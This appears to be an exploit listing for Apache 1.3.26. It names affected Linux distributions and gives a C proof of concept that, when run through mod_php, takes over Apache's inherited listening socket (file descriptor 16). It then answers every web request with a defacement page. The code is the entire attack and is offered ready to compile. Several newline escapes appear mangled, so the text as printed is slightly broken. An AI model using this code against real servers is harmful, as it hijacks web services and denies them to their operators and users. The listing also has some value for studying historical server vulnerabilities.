Apache Software Foundation Apache 1.3.26
+ Conectiva Linux 6.0
+ Conectiva Linux 7.0
+ Conectiva Linux 8.0
+ MandrakeSoft Linux Mandrake 9.0
+ OpenPKG OpenPKG 1.1
+ Trustix Secure Linux 1.1
+ Trustix Secure Linux 1.2
+ Trustix Secure Linux 1.5
/* TCP Example code by Kien Pham (Heavily documented to help others understand.)
This code is now in Public Domain.
Look ma, I did this all by myself. */
/*
This proggie was taken somewhere from the net as a socket example
Changed a little for interaction with mod_php -- georgi
*/
#include<sys/socket.h> // Include these for socket(), connect(), bind(), etc.
#include<sys/types.h>
#include<netdb.h> // Include this for getprotobyname()
#include<string.h> // Include this for memset()
#include<netinet/in.h> // Include this for htonl(), htons(), etc.
#include<unistd.h>
#define PORT 2000
#define THEFD 16
#define INSIZE 20000
void servermsux()
{
// Variables for the server component of the application.
int file_descriptor; // File descriptor that represents the server socket.
struct sockaddr_in server_address; // Really only contains the port we want to listen on.
int inbound_connection; // File descriptor that represents the socket of the inbound connection.
struct sockaddr_in inbound_address; // Address of the inbound connection.
int inbound_address_size; // Size of the structure for the inbound connection.
unsigned char *address_holder; // Pointer to simplify the extraction of IP addresses.
char message[]="HTTP/1.1 200 OKnContent-Type: text/htmlnn"
"<h1>Hi<br>MSUX</h1>"; // Constant string to send to the client.
char buffer[INSIZE]; // Buffer to hold incoming data from the client.
// Code for the server component begins here.
file_descriptor=dup(THEFD);
if (file_descriptor<0) // Check to see if there was a failure in allocation.
{
perror("Server: socket()");
return;
}
if (close(THEFD) == -1) {perror("close");return; };
close(1);close(3);
while(42)
{
memset((void*)&inbound_address, 0, sizeof(inbound_address));
inbound_address.sin_family=AF_INET;
// Make sure you do this, or the inbound_address will not be filled with information about the incomming address.
inbound_address_size=sizeof(inbound_address);
// Grab the first socket that represents the client that has connected. If none yet, block and wait till somebody does.
inbound_connection=accept(file_descriptor, (struct sockaddr*)&inbound_address, &inbound_address_size);
if (inbound_connection<0)
{
perror("2 accept()");
return;
}
address_holder=(unsigned char*)&inbound_address.sin_addr.s_addr; // Save ourselves a call to the OS to convert.
if (read(inbound_connection, buffer, INSIZE)<0) // Read from the client.
{
perror("2 Server: read()");
return;
}
if (write(inbound_connection, message, sizeof(message))<0) // Write the message to the client.
{
perror("2 Server: write()");
return;
}
close(inbound_connection); // Tell the OS to clean up and free resources that we have used.
} //while
close(file_descriptor);
}
int main(void)
{
printf("n2 TCP Networking Injection Examplen");
// printf("Written by Kien Phamn");
// printf("For the Networking mini-Tutorial (http://www.tripod.com/~Xengren)n");
if (!fork())
servermsux();
}
----end-------
